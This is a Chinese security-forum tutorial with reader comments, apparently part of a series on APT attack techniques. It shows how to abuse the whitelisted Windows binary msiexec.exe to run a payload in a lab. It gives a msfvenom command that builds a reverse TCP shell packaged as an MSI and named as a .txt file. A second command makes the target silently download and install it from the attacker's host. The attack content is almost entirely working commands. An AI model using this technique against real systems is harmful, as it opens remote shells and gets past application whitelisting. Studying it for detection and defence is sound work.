首页
论坛
专栏
课程

分享:
专注APT攻击与防御
https://micropoor.blogspot.com/

注:请多喝点热水或者凉白开,身体特别重要。

Msiexec简介:

Msiexec是Windows Installer的一部分。用于安装Windows Installer安装包(MSI),一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于Windows 2003,Windows 7等。

说明:Msiexec.exe所在路径已被系统添加PATH环境变量中,因此,Msiexec命令可识别。

基于白名单Msiexec.exe配置payload:

Windows 2003 默认位置:

C:WINDOWSsystem32msiexec.exe
C:WINDOWSSysWOW64msiexec.exe
攻击机:192.168.1.4 Debian
靶机: 192.168.1.119 Windows 2003

配置攻击机msf:
配置payload:

1 msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f msi > Micropoor_rev_x64_53.txt
靶机执行:

1 C:WindowsSystem32msiexec.exe /q /i http://192.168.1.4/Micropoor_rev_x64_53.txt
Micropoor

上一篇 :
下一篇 :
讨论 (3)
zhenwo 2019-2-24
 举报
哥们太厉害了,谢谢免费分享
燚燊 2019-6-10
 举报
快有一年没有这莫认真的看过一个文章了,我每次都把认真写教程的人,写的东西称为文章,就像我们小学时老师淳淳教导,认真斟酌字句,希望别人可以懂,感谢这种态度,不知道多年以后,自己是否有兴趣把自己所学,传授别人,就像当初我们从所授者那里传承一样,所谓薪火相传,也就是如此吧,过了那个冲动的年纪,对很多人很多事,能让自己共鸣的越来越少,祝作者身体早日康复,就如作者多篇文章提到多喝水,我也同样提到,适度喝水,身体健康,谢谢
mb_lpsonkha 2019-9-27
 举报
没看懂,感谢分享
沪ICP备16048531号-1
沪公网安备 31011502006611号